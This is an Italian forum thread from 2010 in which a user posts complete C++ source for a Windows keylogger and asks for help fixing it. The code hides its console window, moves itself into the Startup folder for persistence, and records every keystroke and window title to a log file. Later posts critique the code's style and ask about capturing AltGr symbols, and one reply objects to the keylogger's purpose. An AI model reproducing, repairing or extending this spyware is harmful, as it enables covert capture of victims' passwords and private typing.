Torna indietro   Hardware Upgrade Forum > Software > Programmazione

Prova GeForce NOW upgrade Blackwell: il cloud gaming cambia per sempre
Prova GeForce NOW upgrade Blackwell: il cloud gaming cambia per sempre
L'abbonamento Ultimate di GeForce NOW ora comprende la nuova architettura Blackwell RTX con GPU RTX 5080 che garantisce prestazioni tre volte superiori alla precedente generazione. Non si tratta solo di velocità, ma di un'esperienza di gioco migliorata con nuove tecnologie di streaming e un catalogo giochi raddoppiato grazie alla funzione Install-to-Play
Ecovacs Deebot X11 Omnicyclone: niente più sacchetto per lo sporco
Ecovacs Deebot X11 Omnicyclone: niente più sacchetto per lo sporco
Deebot X11 Omnicyclone implementa tutte le ultime tecnologie Ecovacs per l'aspirazione dei pavimenti di casa e il loro lavaggio, con una novità: nella base di ricarica non c'è più il sacchetto di raccolta dello sporco, sostituito da un aspirapolvere ciclonico che accumula tutto in un contenitore rigido
Narwal Flow: con il mocio orizzontale lava i pavimenti al meglio
Narwal Flow: con il mocio orizzontale lava i pavimenti al meglio
Grazie ad un mocio rotante che viene costantemente bagnato e pulito, Narwal Flow assicura un completo e capillare lavaggio dei pavimenti di casa. La logica di intellignza artificiale integrata guida nella pulizia tra i diversi locali, sfruttando un motore di aspirazione molto potente e un sistema basculante per la spazzola molto efficace sui tappeti di casa
Tutti gli articoli Tutte le news

Vai al Forum
Rispondi
 
Strumenti
Old 27-10-2010, 16:01   #1
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
[C++] KeyLogger non funziona???

Salve. Ho riscartabellato un vecchio keylogger che avevo di qualche tempo fa e funzionava. Ora gli ho apportato delle modifiche e non va più. Siccome mi sto impazzendo, che poi tanto lo so che è una cosa stupida (o un errore idiota o una dimenticanza), non è che potreste aiutarmi a capire qual è l'errore?? Grazie in anticipo!

Questo è il codice:

Codice:
/*

KeyLogger v.Beta
Author: R#I
Language: C++

*/

#include <iostream>
#include <windows.h>
#include <WinUser.h>
#include <cstring>
#include <fstream>

using namespace std;

void logga(char stringa[500]);
void logga(char carattere); // OVERLOAD
void nasc_sposta(char *dir_destinazione);
char *GetEsecAutoDir();

ofstream log; //File di LOG
char *destinazioneLog; // Destinazione file di log

int main()
{
   nasc_sposta(GetEsecAutoDir());
   int key;
    HWND finestra_corrente;
    char titolo_finestra[255], attuale[255];
      while(1)
        {
      Sleep(10); // Per non usare tutta la CPU
        finestra_corrente = GetForegroundWindow();
         GetWindowText(finestra_corrente, titolo_finestra, 254);
          if(strcmp(titolo_finestra, attuale)!= 0)
             {
                logga("\n");
                logga(titolo_finestra);
                logga("\n");
             }
                 strcpy(attuale, titolo_finestra);

// ========================= Titolo Finestra ================

if(GetAsyncKeyState(key)== -32767){

   // Tasti F1,F1,F2 ecc
   if(key >= 112 and key <= 123){
      switch(key){
           case 112: logga("[F1]"); break;
           case 113: logga("[F2]"); break;
           case 114: logga("[F3]"); break;
           case 115: logga("[F4]"); break;
           case 116: logga("[F5]"); break;
           case 117: logga("[F6]"); break;
           case 118: logga("[F7]"); break;
           case 119: logga("[F8]"); break;
           case 120: logga("[F9]"); break;
           case 121: logga("[F10]"); break;
           case 122: logga("[F11]"); break;
           case 123: logga("[F12]"); break;
      }
   }   
   // Alfabeto
   if(key >= 65 && key <= 90){
 
             if(GetAsyncKeyState(VK_CAPITAL)==1 || GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128   ){
             // Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo
             logga(key);
 
             }else{
             // Se no memorizziamola in minuscolo
             key += 32;
             logga(key);
             }                       
   }   
   // TASTI numerici   
   if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){  
       // Se è premuto shift ... 
      switch(key){
      case 48 :      logga('='); break;
      case 49 :      logga('!'); break;
      case 50 :      logga('"'); break;
      case 51 :      logga('£'); break;
      case 52 :      logga('$'); break;
      case 53 :      logga('%'); break;
      case 54 :      logga('&'); break;
      case 55 :      logga('/'); break;
      case 56 :      logga('('); break;
      case 57 :      logga(')'); break;
      }                         
 
   }else{   
   // Se no stampa i numeri   
       if(key >= 48 && key <= 57)logga(key);   
    } 
 
   if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
   // Se è premuto Shift ...
      switch(key){
 
      case 186 :       logga('é'); break;
      case 187 :       logga('*'); break;
      case 188 :       logga(';'); break;
      case 189 :       logga('_'); break;
      case 190 :       logga(':'); break;
      case 191 :       logga('§'); break;
      case 192 :       logga('ç'); break;
      case 219 :       logga('?'); break;
      case 220 :       logga('|'); break;
      case 221 :       logga('^'); break;
      case 222 :       logga('°'); break;
      case 226 :       logga('>'); break;
 
      }  
 
    }else if((GetAsyncKeyState(17)==-127 || GetAsyncKeyState(17)==-128  )&&(GetAsyncKeyState(18)==-127 || 
    GetAsyncKeyState(18)==-128 )&&( GetAsyncKeyState(162)==-127 ||  GetAsyncKeyState(162)==-128 )&&
    (GetAsyncKeyState(165)==-127 || GetAsyncKeyState(165)==-128) ){
    // Se tiene premuto ALT GR
      switch(key){
      case 101 :        logga('€'); break;
      case 192 :        logga('@'); break;
      case 222 :        logga('#'); break;
      case 187 :        logga(']'); break;
      case 186 :        logga('['); break;
      }                           
    }else{
    // Se no
      switch(key){  
      case 192 :        logga('ò'); break;
      case 191 :        logga('ù'); break;
      case 222 :        logga('à'); break;
      case 187 :        logga('+'); break;
      case 186 :        logga('è'); break;
      case 188 :        logga(','); break;
      case 190 :        logga('.'); break;
      case 189 :        logga('-'); break;
      case 219 :        logga('\''); break;
      case 221 :        logga('ì'); break;
      case 226 :        logga('<'); break;
      case 220 :        logga('\\'); break;
      }
      
   switch(key){
 
   case 8 :         logga("[BACK]"); break;
   case 9 :         logga("[TABLE]"); break;
   case 11:         logga("[HOME]"); break;
   case 13:         logga("[RETURN]"); break;
   case 27:         logga("[ESC]"); break;
   case 32:         logga("[SPACE]"); break;
   case 33:         logga("[PAG SU]"); break;
   case 34:         logga("[PAG GIU]"); break;
   case 35:         logga("[END]"); break;
   case 36:         logga("[HOME]"); break;
   case 37:         logga("[left]"); break;
   case 38:         logga("[TOP]"); break;
   case 39:         logga("[right]"); break;
   case 40:         logga("[BOTTOM]"); break;
   case 44:         logga("[STAMP SCREEN]"); break;
   case 45:         logga("[INS]"); break;
   case 46:         logga("[CANC]"); break;
   case 91:         logga("[WINDOWS]"); break;
   case 92:         logga("[WINDOWS]"); break;
   case 96:         logga('0'); break;
   case 97:         logga('1'); break;
   case 98:         logga('2'); break;
   case 99:         logga('3'); break;
   case 100:        logga('4'); break;
   case 101:        logga('5'); break;
   case 102:        logga('6'); break;
   case 103:        logga('7'); break;
   case 104:        logga('8'); break;
   case 105:        logga('9'); break;
   case 106:        logga('*'); break;
   case 107:        logga('+'); break;
   case 109:        logga('-'); break;
   case 110:        logga('.'); break;
   case 111:        logga('/'); break;
   case 144:        logga("[BLOC NUM]"); break;
   case 145:        logga("[BLOC SCORR]"); break;
   case 163:        logga("[ESC]"); break;
   case 255:        logga("[SPACE]"); break;
   }
  }
 }  
}
    return 0;
}

void nasc_sposta(char *dir_destinazione)
{
    HWND invisibile;

      invisibile = FindWindow("ConsoleWindowClass", NULL); //Valore finestra keylogger
      ShowWindow(invisibile, SW_HIDE); //Nascondo finestra
      MoveFile("key.exe", dir_destinazione);   // Sposto in esecuzione automatica
}

char *GetEsecAutoDir()
{
  char disco[255], utente[255], *user_path;
  DWORD *a;
   user_path = new char[255]; // Alloccazione dinamica
   a = new DWORD[255];          // Come sopra
    GetSystemDirectory(disco, 254);  // Prendo disco rigido in uso
      destinazioneLog = new char[255]; //destinazioneLog = disco; strcat(destinazioneLog, "\\key.log"); // Lo copio in variabile Globale
    GetUserName(utente, a);          // Prendo Nome Utente
     strncpy(user_path, disco, 3);   //
      strcat(user_path, "Documents and Settings\\");
      strcat(user_path, utente);// destinazioneLog = user_path; strcat(destinazioneLog, "\\logged.txt"); // cout << destinazioneLog; cin.get();
      strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe");
  return user_path;  // Ritorno il cpleto valore per copiare il file in esecuzione auto
}

void logga(char carattere) // Loggo caratteri
{
    log.open("log.txt", ios::app);
    log << carattere;
    log.close();
}

void logga(char stringa[500]) // Loggo caratteri speciali sotto forma di stringhe
{
    log.open("log.txt", ios::app);
    log << stringa;
    log.close();
}
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 17:29   #2
Tommo
Senior Member
 
L'Avatar di Tommo
 
Iscritto dal: Feb 2006
Messaggi: 1304
Mi sa che hai confuso il concetto di programmazione con quello di switch...
che robaccia è l'ultimo switch? non bastava una sottrazione al posto dei case da 96 a 110?
Mi sa che faresti bene a dare un occhio a una cosa che si chiama "tabella ASCII" perchè il tuo codice si riscrive in 4 righe.

A parte quello kick lock & ban perchè lo scopo di tutto questo obbrobrio era un keylogger.
Ciap
__________________
*ToMmO*

devlog | twitter
Tommo è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 17:35   #3
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
Non sapevo fosse vietato??!
Comunque grazie per il consiglio, anche se, non penso che si possa scrivere proprio in 4 righe come dici tu!

EDIT: Ma comunque si sa perchè non lavora? Qual è l'errore che faccio?

Ultima modifica di L3n : 27-10-2010 alle 17:50.
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 18:34   #4
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
Almeno mi sapete dire come rilevare i simboli @#[]€ con il tasto alt gr (ctrl e alt). Ho provato VK_CONTROL (CTRL) e VK_MENU (ALT), ma non li rileva per niente! Non si accorge nemmeno che vengono premuti, infatti mi da i caratteri normali senza la pressione di alt gr! Potete aiutarmi??
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 21:38   #5
shinya
Senior Member
 
L'Avatar di shinya
 
Iscritto dal: Jul 2005
Città: Bologna
Messaggi: 1130
Quote:
Originariamente inviato da Tommo Guarda i messaggi
A parte quello kick lock & ban perchè lo scopo di tutto questo obbrobrio era un keylogger.
Moralista bacchettone.
shinya è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 22:04   #6
d@vid
Senior Member
 
L'Avatar di d@vid
 
Iscritto dal: Jan 2005
Città: Napoli
Messaggi: 2424
Quote:
Originariamente inviato da Tommo Guarda i messaggi
Mi sa che hai confuso il concetto di programmazione con quello di switch...
che robaccia è l'ultimo switch? non bastava una sottrazione al posto dei case da 96 a 110?
Scusate l'intromissione

intendi con un ciclo for?


Codice:
for i from 96 to 110
case i: logga(char(*codice ASCII progressivo*)) break;
end
__________________
~ ~ ho concluso con: capzero, DarkSiDE, Iron10, 12379, Hyxshare, Gort84, kristian0, scrafti, as2k3, gegeg, Kyrandia, Feroz, asta, nyko683, mstella, 00700, WotanBN, [COLOR=]Warez[/color], sesshoumaru, ...
nel we potrei non essere davanti al pc

Ultima modifica di d@vid : 27-10-2010 alle 22:08.
d@vid è offline   Rispondi citando il messaggio o parte di esso
 Rispondi


Prova GeForce NOW upgrade Blackwell: il cloud gaming cambia per sempre Prova GeForce NOW upgrade Blackwell: il cloud ga...
Ecovacs Deebot X11 Omnicyclone: niente più sacchetto per lo sporco Ecovacs Deebot X11 Omnicyclone: niente più...
Narwal Flow: con il mocio orizzontale lava i pavimenti al meglio Narwal Flow: con il mocio orizzontale lava i pav...
Panasonic 55Z95BEG cala gli assi: pannello Tandem e audio senza compromessi Panasonic 55Z95BEG cala gli assi: pannello Tande...
HONOR Magic V5: il pieghevole ultra sottile e completo! La recensione HONOR Magic V5: il pieghevole ultra sottile e co...
Cos’è RSL, il nuovo standard che ...
Nissan Micra EV: da 29.500 a oltre 36.00...
Processo Microsoft-ValueLicensing: cosa ...
L'edizione limitata più ambita da...
Lo sviluppatore di MSI Afterburner svela...
Quando l'AI diventa maestro: così...
Sony WH-1000XM6 già scontate su A...
NVIDIA chiede più velocità...
Windows 11 in soli 2,8 GB: con questo sc...
Panico in casa HYTE: ritirato dal mercat...
OPPO Reno14, debutto tra rooftoop esclus...
3DAIQ, il progetto di Concept Reply e TE...
Il parlamento francese contro TikTok: '&...
Apple Watch SE 2ª gen. Cellular a soli 2...
MotoE sospesa dopo il 2025: fine tempora...
Chromium
GPU-Z
OCCT
LibreOffice Portable
Opera One Portable
Opera One 106
CCleaner Portable
CCleaner Standard
Cpu-Z
Driver NVIDIA GeForce 546.65 WHQL
SmartFTP
Trillian
Google Chrome Portable
Google Chrome 120
VirtualBox
Tutti gli articoli Tutte le news Tutti i download

Strumenti

Regole
Non Puoi aprire nuove discussioni
Non Puoi rispondere ai messaggi
Non Puoi allegare file
Non Puoi modificare i tuoi messaggi

Il codice vB è On
Le Faccine sono On
Il codice [IMG] è On
Il codice HTML è Off
Vai al Forum


Tutti gli orari sono GMT +1. Ora sono le: 17:49.


Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
Served by www3v